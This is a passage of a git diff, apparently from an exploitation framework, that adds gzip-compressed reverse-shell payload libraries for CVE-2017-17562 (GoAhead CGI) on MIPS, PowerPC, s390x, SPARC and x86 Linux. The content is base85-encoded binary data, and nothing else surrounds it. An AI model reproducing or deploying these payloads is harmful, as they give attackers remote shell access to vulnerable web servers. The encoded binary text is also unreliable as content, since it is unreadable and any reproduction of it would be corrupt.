zuxka!*_zVXA_Q3Hvn2qkF=?0uGm!-K%<1v3tBGW0Vk(g~h|J~9OfHL5HfQQ8Dyqq1 zW=b2#XrOAd*~D}v1?nXG{fCjp?6ix`0yx5#^n!u?<=he-w zL$GXe`;G3KaA*-|b_t@*qu=PBOS@p7Z%_8KWUEJ?-+QQG;hrehFqWDi{SXY zv}Iqa6F=4;4SMwXJqwP5!bKVJ-pn`Lvo6Q=`Mm^=4-5WF0%kwbKJe)Cdk-A*`#SAp zTfFvg3EX=JT%X_T;F#a*XloGvmtgCTlVh*LkLR|@|0{w%e;;tX6!goB$MW|D{k(9V zEj6fL4nG$3`F#bB$F}kRC#28wl<)LoIq>NH^Ey5A_*=3cw`^noO?s8^Fm2u2s=r>5 z{w3Mx`s<{>-cvu`qW*6L{Y}!}+@b#af_|0st2^}n4}yNJzpd0>(2uO2KW*vD-uJjg z`jrOy+>gHq`uzQQp?7EgSBS^`&y)USZ+(A7`a`lG75H5L2-H7+IQ|>dzstAK>kDJU m`uhj4-kf`<$_sZJ_#dc42kY4XeecfB&wm5w#YD0YDgXeW=KA;m literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..3c77748adff0c1299d520573d81d4917ed623385 GIT binary patch literal 2288 zcmVZm}UfsM8){ZC_imtc_zqh13I^5?Yfuj;W}My1qYa z`@;F|a=VA@C{0h;Ngc^zUFe4pRf>g(N>Vj;5|mFMA{42qR4JBHsZo;;uGC7c`LzV}Gf6V*mz?Sn9*23HEW`oBep0xrFW^2bPx zTrc7O*+7kM0i%#WV}Tkez{t}L{?*Ee_C^2vzWH0I`Xm8{t)Y(oZT~xMF5vdt=EfJ` z=;J5g*H?b>$%T*ht?qdJvnMXRvG2DnAKtx5W8XvyQ%rEOTaYhr2G{}2*RKk5cur#R zS_-kaXlQs7^+hAt1!O)}LJq)I;t0Z}gc+n3zD@`&(wJzcD6#k!$zQZnBwN_8xD(ud z#fMnGBH6y{I0YHO4sz;$3;CxF@P9Y*YiBi@0JtQs?_0Qk8@Vpbe1Z);2Oi|}10GYc zeFbUzJ;rO{`~e;t&xdA!>OzKiE>PR?CFk)$qqlc9!=I2}ky#eW=*`#p8iG5{1Mrcn z@buf^U&!C9%2D|9n*LFDu9QE_|9?8a=X;as!|)FuUKadmMt`o6{p$DtuOlrA@~cSm zf_zArR}AR_(wv}w1*sy)Py6uC15XmJf0z6fWO08zO#2vVK+w1O?ET1xe~WTiz)w+p z1Q~RFbi9z)O)FWlbRG0;K5KzKTGTUHvk3YK%Ag+`I<9Aok};Y!Eu%Dayf;_K8$-!d z&S1Lw8a+LcBm>D@_E{9acSaxNxZYgSGz}9*3Z>If&YOm1}tPHY`Y5 zg)C(AhNUMnnG&Q6`Mi;~AX6@OfiYpEbCAvzOapS+R9ZC)Y7aVV858LING53|K{puF zQ>MwLhZ=lFMLq*Z`;Q&&)w|TL>XTMIO#}Q)Wn6Oq!1tfBm!3&~Q`le4+3Xh5-Qn+K zS4O1oprrFD$a9-`i1Q}S!<@^UZ{s}5c`N5J&K1t%obTaWm%bZKldT{KeUv}(T zz8G9~u6M|AZJ`xzES##GwL^Fcwl&4zROO<*@lGsA&v+_^fcMkfey;}OsJAv9==dYo zp$%KaH3_&S#QjCU;aGMPEC*w7y+e!(^;?=@e#I-(b_IPaVt?{)Pk35+4t<<}cNQ#o zd!Yz#Es%dXSX>~RL)>4o^Ln8) z+RxbfwBo#@m@f%=S_#5oWw+dizd48ZG+^vAXgdfo_a~$Y*qV?%&&JA&>upf~DH-?E zUI})^FF|j-0e@%a<-RYlHP3A=VXnk6H(DzfSiWGcD3~WP%#&8kkwrOmz72gF!|~8Z zIfi_!nlpW~EMIXL~DRcF#NmwZD+yp65TMH@CA==hDp_5z+C3i@>keYMed8~wG> zU)&!o{u;)g=6LM|FJ5PDZ@;ca`V`u;0B2_#ab5#xo9xrx>ccT!!*!{gT>(9kC z=ihYgT${r<|JbR2uJ!ln1A|BUpE%S9@F+Dpk2Osd2+T2ny=AksH>otd-Jx=W;7FR<^V@Me!3#o`SjZ{JU z1=1YSWu$qet4NFCb>=GxnSEi>_t>4t`YM`g5UM-8T7zl|ua2O4!K)FxS^)TWK7HGh z&7-}&-;Tvkq{?}#9D7vlR<%cZ%C6M;d}oiUb*r7 zwJg^Qf=UHJexv|uzF-+D_EA&i zY%cRiHUnyAGM^mJra>K}BaB3Ia-4Ci1TOfDQ8KfI{2D?CCVxW$@7gS~J-*6$)y)Fg|YN z@ntc?9ZOnPDVr)=Si7j>86#C5rAhDW`qFtt%k@oue<0omd98`p(>wY70^!7aA@J4R zyLp{2!P@&9|NTo3zY7rWf^PA?AlyZLhu8KJzcV4aTD?oE-KQMkbCLL63ekL^=1Yjz zKgapqfyD1#h{8g;dygmBJ}VH8?na2Zg>k*AE5+|q=$YG^u=~9FxOcfd!mS`~B~rbsT!XtV;BF)C_C0X#3%FIp zt=?nY-w8PP-UkDlfc0_yu!fWAEKQ&y$pZ_H=!{i<(V&&FM!z3|qx=So1}K_9N(e)}K7 Kqd5}D761Szq?RWD literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..b3a49d32535ab4ab240b0a84753d13b65b19cbeb GIT binary patch literal 2681 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..3847bf1e8b2f7070cdcb05f952878230ed934c6a GIT binary patch literal 2253 zcmV;;2r~B{iwFo#YeiZD17~kxXk}q!En{bCEplacWpZ<6Eo^CSb$BgjY-wU+EpszD zFnBI=Zvd@WeQXrR6@Rxrb3WT=&Xz+=4e2#Sl|kh=yT)?pA2k?)K~CyAMsll)^L;G% z;CyFp_rOLjMM;WMN)js-%7-e&jZ!YEQU#%Y#7fnkTB=amG!_jKDlHhDEHynVtR>op z26_8tcIG@g-UF&;Pq%O9_de#$+nG0S_S-vpA5|0=l&%U`g?9#cXBpaMk%j@MADG?>t6dke=tB}!SpSM4=qZBU5R;dvYsyZc3jc2QC-?t6A0=?z+y4b0e>GG4>DYI?Y9Ch%KICf-`6U{YpuuH*%BHK?;lC0!kQk*=;1Jg z6RCs_;eALTylddGa9qu(`xBb3W(FSXPNq}pKqQ(}EuJ$c92<)e1CeCnC^mN=4)-&; z?qo#MR1LBzP1V)ZVc3_>90V;LJE-aq(bEY?q*Of|iN`Y#OQ%w5Oow=Ov<=iTHI{@} zGOekQOhjWrEgkHDuo{o(5$rIkY1RM`O2uJk@2+j#;kIBKOD?6qB0Vd(M#LY$Ii7@k zi9`dF{a`7Ce0}mb^86W?wBx)Tc*&0YwlI83!aErLhJ^Pp{H%m;XZYI^KEUw2g!eK0 zf`msIJ|p3K8Gc2=M;SgV;Yo)7UBZts+>r324F6cdPqFz768;R6A7<~Q+P-uGqb%>q z_!!%}Wc)Z-YedFLKQ#_`6YIA|!UHTX%Xkah8)Tf!ACCjx$@VZA?_$2lcn^z>jFb25 zbHE45X5)a9{dA>>7t=-v)=j(Nv$;>qp@JV@+`2r@rkZPcTo<(u7W_!u(+bq*o`wqF zjr<%Y@V}C~;w^M7_`!`9X29*a6)XwhQE`Z!4;JS3gIO~VpdQi4b8dJHqp_%pcXo zR`?3kPFF!|@k_WLRL^(fYMP)HUPB8Wn4o&ImJMUJZ4?*H>mY@roC{r_&4H1?y70duZ0Ju)Lb*T z&Nn0XP3oPmP>*VE-wo!^T63XGr4f1h1uTTw>U+yDNK}e9jZs)&7sbC1bAoz;~lC zgKzgx!H-S%{3`RdIl-)4U#Oy1czo~CPq}>MJ%M8+v1!9RB;}>v?cu)u9lc-Oio57$ zazQ8*3JQPNl+`kuqKVX|Xha)cYKhN;vDAv&ZW;z z?CD?RXAIZTesGP|xteQNPO-xp;jKYAly@o6``wz8)!*};s(RM*+=}NbAFaDkp?viI zpWgf9A1?mBZpsD!*X5lx*~JmLE!Xgjp0n@UrTWt+)t#%Qda7AC$3fa${3kQZ>jrlI zbo2U`ox7A4*5>>5HAeY<)+C&X$bQHDRTwp-bDf7#R#$tv?0995=qLKe>ld%sUmBM< zlW$>dQ;ZX~S-Mh`H0l2NAbz4*WR z!|P*S5A*t$*SoyF<@GGDUwOUC>r-Bj^7@n4o4mf{^(3z!0d{tGZwa*QiDpxJHn2I^ z9t>^l$kJBpvDS`Ys6E)e-ogWIq1KL2M+i5wpf;@O89fq(U@EPv!TqUhFq%yy;~Nuk zpsiuD{)6%Hlr}zMQ9WaE4yze0kxtnfVdQ1hWP}K^r_rPiL3;KI>gpKY=?N^DNz)@v zP#q5M%S1-h@Gu^YN-awx9LZ!N;}DGL>5PV*TjW42Lmi2XBx2Zk8ckZJ@UVok>5&mN zrGF}ut43Hi%00fj@XIYuPMrV$lJpH}{dX>{VR8M@t3_DviajrIO4q4dSoc-JdJPG- z6?>j3<(q3|@*VX}Sl^1cu9qlmko;E!x??F{aJ;g`PJy2@Tn^(O5aOxW^Ax9a{7&&B zAs@c6+i+|AfBlpwHy}T<`c@{C`hqSJ=M?*8A@xewT#)Lw2!}etVhx b=VJc~=dGch?c;E@T>ktoi^Dj)pcnuE^$Vio literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..87e0a16f60445ad29680903f8ba2aa03d7faf5d2 GIT binary patch literal 2111 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 ISHLO&0PB98LI3~& literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..0e66478f0db0158b985aa8e116a0379f2dd90ecb GIT binary patch literal 2094 zcmV+}2+{W+iwFoxYeiZD17~kxXk}q!En{bCEplacWpZ<6Eo^CSb$BgjY-wU+EqFLK zE^}`H?O1zkTUQzX{7RhW<&ChWO+>Acv6ODNZb(8|kw}`lT}R8(q)7%_x%K0^w(Ix? z-|LW;GTNDJ^Nd9((Re6=OdZn@`XLq##!9x-}xGWr`rH`M!J3 zZLYn5koXVfSU-Q~JKyiTzjN+6=QG}YyDb(A7{P`=(&ili?I?e62TN}UH&j9^G{Ht# zVRKs*gM$+l0vKop z2E%>;?XXIyVAVq(+Rg2=TR4EVU9Vps3xGWz8GzSEf6?>SJ>Pv`OULhbY?%A!ANOaz zx}9wGoKO9B2H~5e({Q~5vD5q8!b^WXed4uGJkoq2`?tF5zy51od3%nV;&&pRE7O}z zx|`Z<((mSVo9!=@2RW{f4KxB9U6k 